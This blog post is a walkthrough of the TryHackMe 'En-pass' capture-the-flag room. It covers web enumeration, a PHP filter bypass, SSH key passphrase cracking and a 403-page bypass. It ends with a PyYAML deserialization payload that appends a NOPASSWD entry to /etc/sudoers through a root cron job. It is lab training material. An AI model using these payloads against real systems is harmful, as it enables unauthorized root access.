narancs's blog

TryHackMe – En-pass walkthrough

Introduction

TryHackMe En-pass room logo

This is a write-up for the En-pass room on TryHackMe. We obtain an SSH private key while enumerating the website for directories and files. We can also find 2 PHP pages. One of them reveals the username for the SSH login. On the second PHP page we can find the password for the encrypted key. Then after logging in via SSH, we can escalate our privileges to root exploiting a vulnerable Python script.

Enumeration

Note: I have added the IP address of the VM to /etc/hosts as enpass.thm, so I don’t have to use the IP

Nmap scan results:

Nmap scan results

There are 2 open ports. SSH is running on port 22, and Apache web server is running on port 8001.

We do not have any potential credentials for SSH yet, so let’s enumerate the web server first.

Web server

I started by checking the home page of the website. I looked at the source code and noticed some strange text.

Webpage source code

The strings:

				
					Ehvw ri Oxfn!!
U2FkCg==Z
				
			

I used https://www.dcode.fr/cipher-identifier to identify the type of encoding/encryption used. The tool suggested that this is a ROT or Caesar Cipher. I used https://www.dcode.fr/caesar-cipher to brute force the ROT cipher. Using a shift amount of 23, the result is ‘Best of Luck!!’.

The second string contains two ‘=’ character which is the padding character used for base64 encoding.

				
					narancs@kali:~$ echo 'U2FkCg==' | base64 -d         
Sad
                                                                                                                                                                                                             
narancs@kali:~$
				
			

None of these seems to be useful. I continued by enumerating the website for directories and files using gobuster.

				
					gobuster dir --url http://enpass.thm:8001/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 32
				
			

First I found /web and /zip directories. Then after repeatedly running gobuster to find sub-directories, I was able to find the answer for the first question: a path to an RSA private key.

				
					/web/*********/********/*********/***
				
			

In the /zip directory there are 100 zip files from a.zip to a100.zip. All of them contains the word ‘sadman’.

I continued to enumerate files looking for specific file extensions using the -x option of gobuster. I found 2 PHP files: reg.php and 403.php.

				
					gobuster dir --url http://enpass.thm:8001/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 32 -x php
				
			

reg.php

The reg.php file contains a form with a single text input named ‘title’. I tried to submit random words, but it didn’t work, I just kept receiving ‘Try again!’. If we view the source code of the page, we can see the PHP code as well given to us.

				
					<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $title = $_POST["title"];
    if (!preg_match("/[a-zA-Z0-9]/i", $title)) {
        $val = explode(",", $title);
        $sum = 0;
        for ($i = 0; $i < 9; $i++) {
            if (strlen($val[0]) == 2 and strlen($val[8]) == 3) {
                if ($val[5] != $val[8] and $val[3] != $val[7]) {
                    $sum = $sum + (bool) $val[$i] . "<br>";
                }
            }
        }
        if ($sum == 9) {
            echo $result; //do not worry you'll get what you need.
            echo " Congo You Got It !! Nice ";
        } else {
            echo "  Try Try!!";
        }
    } else {
        echo "  Try Again!! ";
    }
}
?>

				
			

Based on this code we can figure out the logic and what is the correct input.

  • First the title we send with the form as POST data will be saved into a variable $title
  • Then a regular expression will be applied to check if the title contains any letters or numbers. The if clause will run if the title does not contain any letters or numbers. We need to use special characters only.
  • In the if clause the title will be split by the character ‘,‘ into an array called $val.
  • Then a for loop will run 9 times. Inside the loop there are additional requirements that have to be true for the array $val.
    • The element at index 0 has a length of 2
    • The element at index 8 has a length of 3
    • The elements at index 5 and 8 are not the same
    • The elements at index 3 and 7 are not the same

I used a debugger to verify my findings: https://www.tutorialspoint.com/execute_php_online.php

I found that the following input works:

				
					$$,$,$,$,$,$,$,$$,$$$
				
			

After submitting this input on reg.php page, we get a password:

Bypassing reg.pgp

Is this the password of the SSH key? Let’s check.

I had the SSH key saved in id_rsa file, then created a hash from it via ssh2john. I saved the password in the file ‘password’ and used john to verify if the password is correct for the key.

The password is correct. Now the only thing we are missing is a username.

403.php

I opened 403.php in the browser and it just showed 403 Forbidden. The source code did not reveal anything either. I researched about 403 page exploits, and I found this page: https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/403-and-401-bypasses.

Then I tried the different techniques and path fuzzing worked out. I found a list of URL payloads that can be used to bypass 403 pages at https://github.com/Karanxa/Bug-Bounty-Wordlists/blob/main/403_url_payloads.txt. Then I used Intruder in Burp Suite to send a request for each possible payload and checked the results.

Bypassing 403 page

Based on the length of the response I was able to quickly rule out the wrong results (e.g. length of 484, 495, 1229, etc.). The length of the result using the correct payload was 1108. The username was included on the page.

User flag

Now I had everything to be able to login via SSH: username, SSH private key and the password for the key.

After logging in, the user flag was simply in the home directory of the user.

Root flag

While enumerating the host for privilege escalation, I came across an interesting file: /opt/scripts/file.py.

				
					#!/usr/bin/python
import yaml

class Execute():
        def __init__(self,file_name ="/tmp/file.yml"):
                self.file_name = file_name
                self.read_file = open(file_name ,"r")
        def run(self):
                return self.read_file.read()
data  = yaml.load(Execute().run())
				
			

This code reads the contents of the file /tmp/file.yml. Then it runs the yaml.load() method on the content that was read from the file.

The load() method is vulnerable to de-serialization attack. I found a good explanation at j0lt’s blog. j0lt also has a tool on github that generates payload for this de-serialization attack. I used it to create a payload that adds the user to the sudoers file allowing to execute any command without password.

				
					!!python/object/apply:subprocess.Popen
- !!python/tuple
  - python
  - -c
  - "__import__('os').system(str(__import__('base64').b64decode('ZWN***HIDDEN***gQUxMPShBTEwpIE5PUEFTU1dEOiBBTEwnID4+IC9ldGMvc3Vkb2Vycw==').decode()))"
				
			

Then I created the file.yml in /tmp/ with this content. It was executed by root’s cronjob in a minute, the file was also removed from /tmp. After that I was able to switch to root with sudo -i command. The flag is in /root/root.txt.

Extra

After getting root access I verified the issues that caused the vulnerabilities in the system. Apart from the sensitive data exposed by the HTTP server (SSH private key and password), there were 2 major issues: bypass of 403.php and cron job executed by root.

The first issue is caused by the $bypass_url that is coded in /var/www/html/403.php.

				
					...
$url_path = urlPath();
$bypass_url = "http://$host/403.php/***HIDDEN***/" ;
if ( $url_path === $bypass_url){
    echo "<h3>Glad to see you here.Congo, you bypassed it. '***HIDDEN***' is waiting for you somewhere.</h3>";
}
...
				
			

The privilege escalation to root was possible due to the cron jobs defined in /var/spool/cron/crontabs/root:

				
					* * * * * cd /tmp && sudo chown root:root /tmp/file.yml
* * * * * cd /opt/scripts && sudo /usr/bin/python /opt/scripts/file.py && sudo rm -f /tmp/file.yml

				
			

Table of Contents

Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments

Related posts

0
Would love your thoughts, please comment.x
()
x